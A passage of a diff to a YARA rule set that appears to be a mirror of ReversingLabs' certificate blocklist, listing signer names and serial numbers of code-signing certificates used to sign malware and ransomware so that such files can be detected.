"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2862-L2878" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "84c7c0e53facadcdfd752e9cf3811fbfd6aac4bef4109acf430a67b6dcd37bfc" + logic_hash = "ba7cca8d71f571644cabd3d491cddefffd05ca7a838f262a343a01e4a09bb72a" score = 75 quality = 90 tags = "INFO, FILE" @@ -19109,21 +41503,21 @@ rule REVERSINGLABS_Cert_Blocklist_C1A1Db95D7Bf80290Aa6E82D8F8F996A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Software Two Pty Ltd" and ( pe.signatures [ i ] . serial == "00:c1:a1:db:95:d7:bf:80:29:0a:a6:e8:2d:8f:8f:99:6a" or pe.signatures [ i ] . serial == "c1:a1:db:95:d7:bf:80:29:0a:a6:e8:2d:8f:8f:99:6a" ) and 1615334400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "John W.Richard" and pe.signatures [ i ] . serial == "3e:16:56:df:ca:ac:fe:d7:c2:d2:56:43:55:69:8a:a3" and 1385251199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C667Ffe3A5B0A5Ae7Cf3A9E41682E91B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4Bf1D68E926E2Dd8966008C44F95Ea1C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "83a5e5c2-0932-526b-80aa-800b37088bbd" + id = "c82170a4-911c-5206-bae8-6503a5449df9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8882-L8900" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2880-L2896" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "be2cd688f2d7c458ee764bd7a7250e0116328702db5585b444d631f05cdc701b" + logic_hash = "44b5aae8380e3590ebb6e2365e89b3827432e8330e5290dc8f8603a00bcf62f6" score = 75 quality = 90 tags = "INFO, FILE" @@ -19133,21 +41527,21 @@ rule REVERSINGLABS_Cert_Blocklist_C667Ffe3A5B0A5Ae7Cf3A9E41682E91B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NAILS UNLIMITED LIMITED" and ( pe.signatures [ i ] . serial == "00:c6:67:ff:e3:a5:b0:a5:ae:7c:f3:a9:e4:16:82:e9:1b" or pe.signatures [ i ] . serial == "c6:67:ff:e3:a5:b0:a5:ae:7c:f3:a9:e4:16:82:e9:1b" ) and 1616976000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Technical and Commercial Consulting Pvt. Ltd." and pe.signatures [ i ] . serial == "4b:f1:d6:8e:92:6e:2d:d8:96:60:08:c4:4f:95:ea:1c" and 1322092799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E0A83917660D05Cf476374659D3C7B85 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_149C12083C145E28155510Cfc19Db0Fe : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3387f396-01f7-58b1-a5bd-b308105c66d6" + id = "8d9b0b1c-df7c-560a-8d51-bc8738952457" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8902-L8920" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2898-L2914" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f60753ecb775d664e07e78611568799eaf06fb4742bcef3bf0c28202daf98c50" + logic_hash = "f616fc470e223d65ac4c984394a38d566265ab37829ff566012de0a1527396c2" score = 75 quality = 90 tags = "INFO, FILE" @@ -19157,21 +41551,21 @@ rule REVERSINGLABS_Cert_Blocklist_E0A83917660D05Cf476374659D3C7B85 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PIK MOTEL S.R.L." and ( pe.signatures [ i ] . serial == "00:e0:a8:39:17:66:0d:05:cf:47:63:74:65:9d:3c:7b:85" or pe.signatures [ i ] . serial == "e0:a8:39:17:66:0d:05:cf:47:63:74:65:9d:3c:7b:85" ) and 1621468800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3rd Eye Solutions Ltd" and pe.signatures [ i ] . serial == "14:9c:12:08:3c:14:5e:28:15:55:10:cf:c1:9d:b0:fe" and 1209340799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Afc5522898143Aafaab7Fd52304Cf00C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_77E0117E8B2B8Faa84Bed961019D5Ef8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "016ad027-bd6a-58e0-9099-341b81dd6f70" + id = "2733cc5b-bc1f-5ba9-a2f4-50f472fc288e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8922-L8940" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2916-L2932" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bfcf2fbbd9be97202eeb44c0f81f0a0713d4d30c466f2b170231c7f9df0e9e6d" + logic_hash = "bea94b9da8c176f22a66fe7a4545dcc3a38f727a75a0bc7920d9aece8e24b9b7" score = 75 quality = 90 tags = "INFO, FILE" @@ -19181,21 +41575,21 @@ rule REVERSINGLABS_Cert_Blocklist_Afc5522898143Aafaab7Fd52304Cf00C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "YAN CHING LIMITED" and ( pe.signatures [ i ] . serial == "00:af:c5:52:28:98:14:3a:af:aa:b7:fd:52:30:4c:f0:0c" or pe.signatures [ i ] . serial == "af:c5:52:28:98:14:3a:af:aa:b7:fd:52:30:4c:f0:0c" ) and 1622419200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Reiner Wodey Informationssysteme" and pe.signatures [ i ] . serial == "77:e0:11:7e:8b:2b:8f:aa:84:be:d9:61:01:9d:5e:f8" and 1383695999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_8B3333D32B2C2A1D33B41Ba5Db9D4D2D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4F3Feb4Baf377Aea90A463C5Dee63884 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f7f72cd2-0bf4-5aa7-804e-4ae354eda055" + id = "8de9bcf3-d705-590f-8898-52218f937571" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8942-L8960" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2934-L2950" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cdb3f1983ed17df22d17c6321bc2ead2c391d70fdca4a9f6f4784f62196b85d0" + logic_hash = "56c37e758db33aa40e9a2c1c5a4eb14c2c370f614e838d86bf20c64f79e2a746" score = 75 quality = 90 tags = "INFO, FILE" @@ -19205,21 +41599,21 @@ rule REVERSINGLABS_Cert_Blocklist_8B3333D32B2C2A1D33B41Ba5Db9D4D2D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BOOK CAF\\xC3\\x89, s.r.o." and ( pe.signatures [ i ] . serial == "00:8b:33:33:d3:2b:2c:2a:1d:33:b4:1b:a5:db:9d:4d:2d" or pe.signatures [ i ] . serial == "8b:33:33:d3:2b:2c:2a:1d:33:b4:1b:a5:db:9d:4d:2d" ) and 1620000000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "F3D LIMITED" and pe.signatures [ i ] . serial == "4f:3f:eb:4b:af:37:7a:ea:90:a4:63:c5:de:e6:38:84" and 1526601599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Fbb1198Bd8Bddb0D693Eb72A8613Fe3F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3D2580E89526F7852B570654Efd9A8Bf : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing LockerGoga ransomware." author = "ReversingLabs" - id = "f9983426-9f05-56e2-8ad0-1c5a48ab04be" + id = "0514759c-2d10-5b29-aa2f-d16eb45b2816" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8962-L8980" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2952-L2968" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2e004116d0f8df5a625b190127655926336fc74b4cce4ae40cd516a135e5d719" + logic_hash = "0f46fcfc8ee06756646899450daa254d3e5261bdc5c2339f20d01971608fff7b" score = 75 quality = 90 tags = "INFO, FILE" @@ -19229,21 +41623,21 @@ rule REVERSINGLABS_Cert_Blocklist_Fbb1198Bd8Bddb0D693Eb72A8613Fe3F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trade Hunters, s. r. o." and ( pe.signatures [ i ] . serial == "00:fb:b1:19:8b:d8:bd:db:0d:69:3e:b7:2a:86:13:fe:3f" or pe.signatures [ i ] . serial == "fb:b1:19:8b:d8:bd:db:0d:69:3e:b7:2a:86:13:fe:3f" ) and 1620000000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MIKL LIMITED" and pe.signatures [ i ] . serial == "3d:25:80:e8:95:26:f7:85:2b:57:06:54:ef:d9:a8:bf" and 1529888400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_846F77D9919Fc4405Aefe1701309Bd67 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Fffe432A53Ff03B9223F88Be1B83D9D : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing BabyShark malware." author = "ReversingLabs" - id = "c326fbf0-2d95-5aa1-9ae4-6cb04b9c2212" + id = "25a4c68b-5774-51a2-9aba-1326c85a5251" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8982-L9000" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2970-L2986" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6739049a61183d506daf9aaf44a3b15cbf2234c6af307ec95bc07fa3d8501105" + logic_hash = "e7dbe6b95877f9473661ccf26fa6e5142147609adfe0a9bb8b493875325710af" score = 75 quality = 90 tags = "INFO, FILE" @@ -19253,21 +41647,21 @@ rule REVERSINGLABS_Cert_Blocklist_846F77D9919Fc4405Aefe1701309Bd67 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IPM Skupina d.o.o." and ( pe.signatures [ i ] . serial == "00:84:6f:77:d9:91:9f:c4:40:5a:ef:e1:70:13:09:bd:67" or pe.signatures [ i ] . serial == "84:6f:77:d9:91:9f:c4:40:5a:ef:e1:70:13:09:bd:67" ) and 1621382400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EGIS Co., Ltd." and pe.signatures [ i ] . serial == "0f:ff:e4:32:a5:3f:f0:3b:92:23:f8:8b:e1:b8:3d:9d" and 1498524050 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0939C2Bad859C0432E8E98A6C0162C02 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_832E161Aea5206D815F973E5A1Feb3E7 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing SeedLocker ransomware." author = "ReversingLabs" - id = "5dba4570-51d8-5c23-85a5-5de9a048793f" + id = "ecaa250b-d4ac-5cc9-9e5e-5d6f45db18ad" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9002-L9018" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2988-L3006" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3c48241e52e58600bfa0385742831dba59d9cbd959cd6853fe8e030f5df79c23" + logic_hash = "da908de031c78aa012809988e44dea564d32b88b65a2010925c1af85d578a68a" score = 75 quality = 90 tags = "INFO, FILE" @@ -19277,21 +41671,21 @@ rule REVERSINGLABS_Cert_Blocklist_0939C2Bad859C0432E8E98A6C0162C02 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Activ Expeditions ApS" and pe.signatures [ i ] . serial == "09:39:c2:ba:d8:59:c0:43:2e:8e:98:a6:c0:16:2c:02" and 1615939200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Project NSRM Ltd" and ( pe.signatures [ i ] . serial == "00:83:2e:16:1a:ea:52:06:d8:15:f9:73:e5:a1:fe:b3:e7" or pe.signatures [ i ] . serial == "83:2e:16:1a:ea:52:06:d8:15:f9:73:e5:a1:fe:b3:e7" ) and 1549830060 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7Fba0E19919Ac50D700Ba60250D02C8B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_09Aecea45Bfd40Ce7D62D7D711916D7D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8828c863-2800-5f66-968e-96a41a071218" + id = "421425b1-13ad-5d80-b044-8bd43c60b3ff" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9020-L9036" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3008-L3024" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8c803111df930056bdc3ef7560f07bf4d255b93286d01ecc55f790e72565ba5d" + logic_hash = "d1c6bfb10a244ba866c8aabdff6055388afa8096fd4bd77bb21f781794333e9b" score = 75 quality = 90 tags = "INFO, FILE" @@ -19301,21 +41695,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Fba0E19919Ac50D700Ba60250D02C8B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Diamartis" and pe.signatures [ i ] . serial == "7f:ba:0e:19:91:9a:c5:0d:70:0b:a6:02:50:d0:2c:8b" and 1623196800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALINA LTD" and pe.signatures [ i ] . serial == "09:ae:ce:a4:5b:fd:40:ce:7d:62:d7:d7:11:91:6d:7d" and 1551052800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A758504E7971869D0Aec2775Fffa03D5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4Ff4Eda5Fa641E70162713426401F438 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cc8c0cca-1848-5a5e-a421-c5ecdea6ba53" + id = "3e34aa1b-a4b1-593d-bd93-0f5913ab96b9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9038-L9056" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3026-L3042" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dcb1ac4c7dcbebd0a432515da82e4a97be6c6c2a54f9d642aa8c1a2bcbdce5de" + logic_hash = "58f5e163d9807520497ba55e42c048020f6b7653ed71f3954e7ffb490f4de0e4" score = 75 quality = 90 tags = "INFO, FILE" @@ -19325,21 +41719,21 @@ rule REVERSINGLABS_Cert_Blocklist_A758504E7971869D0Aec2775Fffa03D5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Amcert LLC" and ( pe.signatures [ i ] . serial == "00:a7:58:50:4e:79:71:86:9d:0a:ec:27:75:ff:fa:03:d5" or pe.signatures [ i ] . serial == "a7:58:50:4e:79:71:86:9d:0a:ec:27:75:ff:fa:03:d5" ) and 1623628800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DUHANEY LIMITED" and pe.signatures [ i ] . serial == "4f:f4:ed:a5:fa:64:1e:70:16:27:13:42:64:01:f4:38" and 1555349604 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_37A67Cf754Ee5Ae284B4Cf8B9D651604 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_067Dffc5E3026Eb4C62971C98Ac8A900 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e85434e1-1ef5-5660-8ba6-b35cbbe7510d" + id = "9b9771bb-c2a4-5a6e-8fdb-b3e98f62f9b1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9058-L9074" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3044-L3060" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "22cb71eebbb212a4436847c11c7ca9cefaf118086b024014c12498a6a5953af5" + logic_hash = "2b7c4cded14afd8ba3feabb6debaa1317917b811b44e22aa8a0b3ea00d689141" score = 75 quality = 90 tags = "INFO, FILE" @@ -19349,21 +41743,21 @@ rule REVERSINGLABS_Cert_Blocklist_37A67Cf754Ee5Ae284B4Cf8B9D651604 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORTH PROPERTY LTD" and pe.signatures [ i ] . serial == "37:a6:7c:f7:54:ee:5a:e2:84:b4:cf:8b:9d:65:16:04" and 1617321600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DVERI FADO, TOV" and pe.signatures [ i ] . serial == "06:7d:ff:c5:e3:02:6e:b4:c6:29:71:c9:8a:c8:a9:00" and 1552176000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_119Acead668Bad57A48B4F42F294F8F0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B1Da219688E51Fd0Bfac2C891D56Cbb8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7ec33498-b299-58e0-be42-9e4fb9549e28" + id = "245c582a-b168-53ce-9a3c-b291ae5bc2a0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9076-L9092" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3062-L3080" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "61c49c60fc4fd5d654a6376fcee43e986a5351f085a5652a3c8888774557e053" + logic_hash = "03549214940a8689213bd2eb891da1c1991627c81c8b7f26860141c397409d46" score = 75 quality = 90 tags = "INFO, FILE" @@ -19373,21 +41767,21 @@ rule REVERSINGLABS_Cert_Blocklist_119Acead668Bad57A48B4F42F294F8F0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PB03 TRANSPORT LTD." and pe.signatures [ i ] . serial == "11:9a:ce:ad:66:8b:ad:57:a4:8b:4f:42:f2:94:f8:f0" and 1619654400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FIRNEEZ EUROPE LIMITED" and ( pe.signatures [ i ] . serial == "00:b1:da:21:96:88:e5:1f:d0:bf:ac:2c:89:1d:56:cb:b8" or pe.signatures [ i ] . serial == "b1:da:21:96:88:e5:1f:d0:bf:ac:2c:89:1d:56:cb:b8" ) and 1542931200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7A6D30A6Eb2Fa0C3369283725704Ac4C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7289B0F9Bd641E3E352Dc3183F8De6Be : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b7830a3a-ddcc-54ef-84dd-5d4b13863f90" + id = "dc8a745f-7150-57b7-9ddc-e5a1721d8c02" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9094-L9110" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3082-L3098" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "788abb53ed7974d87c1b1bdbe31dcd3e852ea64745d94780d78d1217ee0206fe" + logic_hash = "42b068e85b3aff5e6dd5ec4979f546dc5338ebf8719d86c0641ffb8353959af9" score = 75 quality = 90 tags = "INFO, FILE" @@ -19397,21 +41791,21 @@ rule REVERSINGLABS_Cert_Blocklist_7A6D30A6Eb2Fa0C3369283725704Ac4C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trade By International ApS" and pe.signatures [ i ] . serial == "7a:6d:30:a6:eb:2f:a0:c3:36:92:83:72:57:04:ac:4c" and 1619568000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ICE ACTIVATION LIMITED" and pe.signatures [ i ] . serial == "72:89:b0:f9:bd:64:1e:3e:35:2d:c3:18:3f:8d:e6:be" and 1557933274 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_670C3494206B9F0C18714Fdcffaaa42F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Fd7B7A8678A67181A54Bc7499Eba44Da : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "210a0c72-7eb7-5c78-bf5b-1ac292e7fa11" + id = "d6456cb6-e950-54be-a7f4-5c1d622c6aab" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9112-L9128" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3100-L3118" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3b1e244b5f543a05beb2475020aa20dfc723f4dce3a5a0a963db1672d3295721" + logic_hash = "f1e26ea26890043be2c8b9c35ba2e6758b60fe173f00bf4c77cc5289ce0d5600" score = 75 quality = 90 tags = "INFO, FILE" @@ -19421,21 +41815,21 @@ rule REVERSINGLABS_Cert_Blocklist_670C3494206B9F0C18714Fdcffaaa42F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ADRIATIK PORT SERVIS, d.o.o." and pe.signatures [ i ] . serial == "67:0c:34:94:20:6b:9f:0c:18:71:4f:dc:ff:aa:a4:2f" and 1622160000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IMRAN IT SERVICES LTD" and ( pe.signatures [ i ] . serial == "00:fd:7b:7a:86:78:a6:71:81:a5:4b:c7:49:9e:ba:44:da" or pe.signatures [ i ] . serial == "fd:7b:7a:86:78:a6:71:81:a5:4b:c7:49:9e:ba:44:da" ) and 1548028800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0E8Aa328Af207Ce8Bcae1Dc15C626188 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ebbdd6Cdeda40Ca64513280Ecd625C54 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9718f290-6ecd-5d67-9013-af99f98fffef" + id = "2cf769dc-5108-5f18-a51e-e152180a2b66" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9130-L9146" + source_url = 